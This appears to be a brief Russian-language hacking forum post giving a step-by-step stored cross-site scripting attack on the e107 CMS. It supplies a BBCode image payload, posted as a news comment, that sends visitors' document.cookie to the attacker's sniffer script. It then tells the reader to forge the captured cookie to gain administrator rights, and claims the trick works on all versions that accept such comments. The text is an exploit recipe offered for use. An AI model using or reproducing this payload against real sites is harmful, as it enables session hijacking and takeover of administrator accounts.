e107 - не менее знаминитый движок(cms) , как известно у него свои дырки.
1 заходим под обычним юзером
2 добавляем в новости комент со следущим кодом(путь конечно нужо поменять на свой)
Code:
[img]img=new Image();img.src="http://localhost/sniff/s.gif?if=2&"+document.cookie;[/img]
3 идем в шнифер и смотрим что там у нас появлось.
4 подделвываем куки и все у нас права админа.
работает на всех версиях, где можно вставить комент с подобным кодом =)
